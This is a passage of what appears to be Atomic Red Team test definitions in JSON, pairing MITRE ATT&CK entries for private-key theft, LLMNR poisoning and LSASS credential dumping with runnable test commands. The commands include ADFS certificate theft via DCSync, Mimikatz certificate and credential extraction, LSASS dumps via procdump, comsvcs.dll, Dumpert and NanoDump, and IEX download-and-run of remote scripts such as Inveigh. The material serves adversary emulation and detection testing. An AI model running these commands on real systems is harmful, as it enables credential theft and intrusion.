- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1552.004"
- },
- "atomic_tests": [
- {
- "name": "Private Keys",
- "auto_generated_guid": "520ce462-7ca7-441e-b5a5-f8347f632696",
- "description": "Find private keys on the Windows file system.\nFile extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "dir c:\\ /b /s .key | findstr /e .key\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "ADFS token signing and encryption certificates theft - Local",
- "auto_generated_guid": "78e95057-d429-4e66-8f82-0f060c1ac96f",
- "description": "Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.\nBased on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AADInternals module must be installed.\n",
- "prereq_command": "if (Get-Module AADInternals) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Install-Module -Name AADInternals -Force\n"
- }
- ],
- "executor": {
- "command": "Import-Module AADInternals -Force\nExport-AADIntADFSCertificates\nGet-ChildItem | Where-Object {$_ -like \"ADFS*\"}\nWrite-Host \"`nCertificates retrieved successfully\"\n",
- "cleanup_command": "Remove-Item -Path \".\\ADFS_encryption.pfx\" -ErrorAction Ignore\nRemove-Item -Path \".\\ADFS_signing.pfx\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "ADFS token signing and encryption certificates theft - Remote",
- "auto_generated_guid": "cab413d8-9e4a-4b8d-9b84-c985bd73a442",
- "description": "Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer.\nBased on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfs_service_account_name": {
- "description": "Name of the ADFS service account",
- "type": "string",
- "default": "adfs_svc"
- },
- "replication_user": {
- "description": "Username with replication rights. It can be the Domain Admin running the script",
- "type": "string",
- "default": "Administrator"
- },
- "replication_password": {
- "description": "Password of replication_username",
- "type": "string",
- "default": "ReallyStrongPassword"
- },
- "adfs_server_name": {
- "description": "Name of an ADFS server",
- "type": "string",
- "default": "sts.contoso.com"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AADInternals and ActiveDirectory modules must be installed.\n",
- "prereq_command": "if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}\n",
- "get_prereq_command": "Install-Module -Name AADInternals -Force\n"
- }
- ],
- "executor": {
- "command": "Import-Module ActiveDirectory -Force \nImport-Module AADInternals -Force | Out-Null\n#Get Configuration\n$dcServerName = (Get-ADDomainController).HostName\n$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq \"#{adfs_service_account_name}\"\n$PWord = ConvertTo-SecureString -String \"#{replication_password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord\n# use DCSync to fetch the ADFS service account's NT hash\n$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex\n$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}\n# Get certificates decryption key\n$Configuration = [xml]$ADFSConfig\n$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group\n$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName\n$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn\n$base = \"LDAP://CN=$group,$container,$parent\"\n$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))\n$ADSearch.Filter = '(name=CryptoPolicy)'\n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"displayName\") | Out-Null\n$aduser = $ADSearch.FindOne()\n$keyObjectGuid = $ADUser.Properties[\"displayName\"] \n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"thumbnailphoto\") | Out-Null\n$ADSearch.Filter=\"(l=$keyObjectGuid)\"\n$aduser=$ADSearch.FindOne() \n$key=[byte[]]$aduser.Properties[\"thumbnailphoto\"][0] \n# Get encrypted certificates from configuration and decrypt them\nExport-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key\nGet-ChildItem | Where-Object {$_ -like \"ADFS*\"}\nWrite-Host \"`nCertificates retrieved successfully\"\n",
- "cleanup_command": "Remove-Item -Path \".\\ADFS_encryption.pfx\" -ErrorAction Ignore\nRemove-Item -Path \".\\ADFS_signing.pfx\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "CertUtil ExportPFX",
- "auto_generated_guid": "336b25bf-4514-4684-8924-474974f28137",
- "description": "The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.\nKeys will look like - \\SystemCertificates\\CA\\Certificates or \\SystemCertificates\\Root\\Certificates\nReference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec\nReference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output": {
- "description": "file path to export to",
- "type": "path",
- "default": "c:\\temp\\atomic.pfx"
- },
- "password": {
- "description": "password for cert",
- "type": "string",
- "default": "password"
- }
- },
- "executor": {
- "command": "IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \ncertutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}\n",
- "cleanup_command": "Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Export Root Certificate with Export-PFXCertificate",
- "auto_generated_guid": "7617f689-bbd8-44bc-adcd-6f8968897848",
- "description": "Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.\nUpon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "pfx_path": {
- "description": "output path of the certificate",
- "type": "string",
- "default": "$env:Temp\\atomicredteam.pfx"
- }
- },
- "executor": {
- "command": "$mypwd = ConvertTo-SecureString -String \"AtomicRedTeam\" -Force -AsPlainText\n$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nSet-Location Cert:\\LocalMachine\\My\nGet-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd\n",
- "cleanup_command": "try {\n$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\nGet-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n} catch { }\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Export Root Certificate with Export-Certificate",
- "auto_generated_guid": "78b274f8-acb0-428b-b1f7-7b0d0e73330a",
- "description": "Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.\nUpon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "pfx_path": {
- "description": "Path of the certificate",
- "type": "path",
- "default": "$env:Temp\\AtomicRedTeam.cer"
- }
- },
- "executor": {
- "command": "$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nSet-Location Cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath #{pfx_path}\n",
- "cleanup_command": "try {\n $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n}\ncatch { }\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Export Certificates with Mimikatz",
- "auto_generated_guid": "290df60e-4b5d-4a5e-b0c7-dc5348ea0c86",
- "description": "The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.\nA successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "mimikatz_exe": {
- "description": "Path of the Mimikatz binary",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n",
- "prereq_command": "if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path #{mimikatz_exe} | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "command": "#{mimikatz_exe} \"crypto::certificates /systemstore:local_machine /store:my /export\" exit\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1557.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Eric Kuehn, Secure Ideas",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
- "type": "attack-pattern",
- "created": "2020-02-11T19:08:51.677Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557.001",
- "url": "https://attack.mitre.org/techniques/T1557/001"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
- "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
- "source_name": "Wikipedia LLMNR"
- },
- {
- "url": "https://technet.microsoft.com/library/cc958811.aspx",
- "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
- "source_name": "TechNet NetBIOS"
- },
- {
- "source_name": "byt3bl33d3r NTLM Relaying",
- "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
- "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."
- },
- {
- "source_name": "Secure Ideas SMB Relay",
- "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
- "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."
- },
- {
- "url": "https://github.com/nomex/nbnspoof",
- "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
- "source_name": "GitHub NBNSpoof"
- },
- {
- "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
- "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
- "source_name": "Rapid7 LLMNR Spoofer"
- },
- {
- "url": "https://github.com/SpiderLabs/Responder",
- "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
- "source_name": "GitHub Responder"
- },
- {
- "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
- "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
- "source_name": "Sternsecurity LLMNR-NBTNS"
- },
- {
- "url": "https://github.com/Kevin-Robertson/Conveigh",
- "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
- "source_name": "GitHub Conveigh"
- }
- ],
- "modified": "2021-09-28T13:09:50.809Z",
- "name": "Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay",
- "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient
for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Windows Registry: Windows Registry Key Modification",
- "Network Traffic: Network Traffic Content",
- "Service: Service Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1557.001"
- },
- "atomic_tests": [
- {
- "name": "LLMNR Poisoning with Inveigh (PowerShell)",
- "auto_generated_guid": "deecd55f-afe0-4a62-9fba-4d1ba2deb321",
- "description": "Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1\" -UseBasicParsing)\nInvoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1003.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Edward Millington",
- "Ed Williams, Trustwave, SpiderLabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
- "created": "2020-02-11T18:41:44.783Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003.001",
- "url": "https://attack.mitre.org/techniques/T1003/001"
- },
- {
- "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
- "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
- "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."
- },
- {
- "source_name": "Graeber 2014",
- "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017."
- },
- {
- "source_name": "Volexity Exchange Marauder March 2021",
- "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
- "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
- },
- {
- "source_name": "Powersploit",
- "url": "https://github.com/mattifestation/PowerSploit",
- "description": "PowerSploit. (n.d.). Retrieved December 4, 2014."
- },
- {
- "source_name": "Symantec Attacks Against Government Sector",
- "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf",
- "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021."
- },
- {
- "source_name": "TechNet Blogs Credential Protection",
- "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
- "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump
\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp
\n* sekurlsa::logonPasswords
\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full
(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages
and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages
. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
- "modified": "2022-05-12T21:38:58.866Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "OS Credential Dumping: LSASS Memory",
- "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Process: OS API Execution",
- "Process: Process Access"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1003.001"
- },
- "atomic_tests": [
- {
- "name": "Dump LSASS.exe Memory using ProcDump",
- "auto_generated_guid": "0be2230c-9ab3-4ac2-8826-3199b9a0ebf8",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals\nProcDump.\n\nUpon successful execution, you should see the following file created c:\\windows\\temp\\lsass_dump.dmp.\n\nIf you see a message saying \"procdump.exe is not recognized as an internal or external command\", try using the get-prereq_commands to download and install the ProcDump tool first.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Path where resulting dump should be placed",
- "type": "path",
- "default": "C:\\Windows\\Temp\\lsass_dump.dmp"
- },
- "procdump_exe": {
- "description": "Path of Procdump executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})\n",
- "prereq_command": "if (Test-Path #{procdump_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/Procdump.zip\" -OutFile \"$env:TEMP\\Procdump.zip\"\nExpand-Archive $env:TEMP\\Procdump.zip $env:TEMP\\Procdump -Force\nNew-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null\nCopy-Item $env:TEMP\\Procdump\\Procdump.exe #{procdump_exe} -Force\n"
- }
- ],
- "executor": {
- "command": "#{procdump_exe} -accepteula -ma lsass.exe #{output_file}\n",
- "cleanup_command": "del \"#{output_file}\" >nul 2> nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Dump LSASS.exe Memory using comsvcs.dll",
- "auto_generated_guid": "2536dee2-12fb-459a-8c37-971844fa73be",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.\n\nUpon successful execution, you should see the following file created $env:TEMP\\lsass-comsvcs.dmp.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\\lsass-comsvcs.dmp full\n",
- "cleanup_command": "Remove-Item $env:TEMP\\lsass-comsvcs.dmp -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Dump LSASS.exe Memory using direct system calls and API unhooking",
- "auto_generated_guid": "7ae7102c-a099-45c8-b985-4c7a2d05790d",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. \nhttps://github.com/outflanknl/Dumpert\nhttps://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\nUpon successful execution, you should see the following file created C:\\\\windows\\\\temp\\\\dumpert.dmp.\n\nIf you see a message saying \\\"The system cannot find the path specified.\\\", try using the get-prereq_commands to download the tool first.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dumpert_exe": {
- "description": "Path of Dumpert executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1003.001\\bin\\Outflank-Dumpert.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Dumpert executable must exist on disk at specified location (#{dumpert_exe})\n",
- "prereq_command": "if (Test-Path #{dumpert_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -ItemType Directory (Split-Path #{dumpert_exe}) -Force | Out-Null\nInvoke-WebRequest \"https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe\" -OutFile #{dumpert_exe}\n"
- }
- ],
- "executor": {
- "command": "#{dumpert_exe}\n",
- "cleanup_command": "del C:\\windows\\temp\\dumpert.dmp >nul 2> nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Dump LSASS.exe Memory using NanoDump",
- "auto_generated_guid": "dddd4aca-bbed-46f0-984d-e4c5971c51ea",
- "description": "The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.\n\nhttps://github.com/helpsystems/nanodump\n\nUpon successful execution, you should find the nanondump.dmp file in the temp directory\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "NanoDump executable must exist on disk at specified location ($env:TEMP\\nanodump.x64.exe)\n",
- "prereq_command": "if (Test-Path $env:TEMP\\nanodump.x64.exe) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/helpsystems/nanodump/raw/84db0c1737bbe027431733c193cfacf59a07259b/compiled/nanodump.x64.exe\" -OutFile \"$env:TEMP\\nanodump.x64.exe\"\n"
- }
- ],
- "executor": {
- "command": "%temp%\\nanodump.x64.exe -w \"%temp%\\nanodump.dmp\"\n",
- "cleanup_command": "del \"%temp%\\nanodump.dmp\" >nul 2> nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Dump LSASS.exe Memory using Windows Task Manager",
- "auto_generated_guid": "dea6c349-f1c6-44f3-87a1-1ed33a59a607",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task\nManager and administrative permissions.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "steps": "1. Open Task Manager:\n On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking\n on the task bar and selecting \"Task Manager\".\n\n2. Select lsass.exe:\n If lsass.exe is not visible, select \"Show processes from all users\". This will allow you to observe execution of lsass.exe\n and select it for manipulation.\n\n3. Dump lsass.exe memory:\n Right-click on lsass.exe in Task Manager. Select \"Create Dump File\". The following dialog will show you the path to the saved file.\n",
- "name": "manual"
- }
- },
- {
- "name": "Offline Credential Theft With Mimikatz",
- "auto_generated_guid": "453acf13-1dbd-47d7-b28a-172ce9228023",
- "description": "The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with\nMimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "Path of the Lsass dump",
- "type": "path",
- "default": "%tmp%\\lsass.DMP"
- },
- "mimikatz_exe": {
- "description": "Path of the Mimikatz binary",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1003.001\\bin\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n",
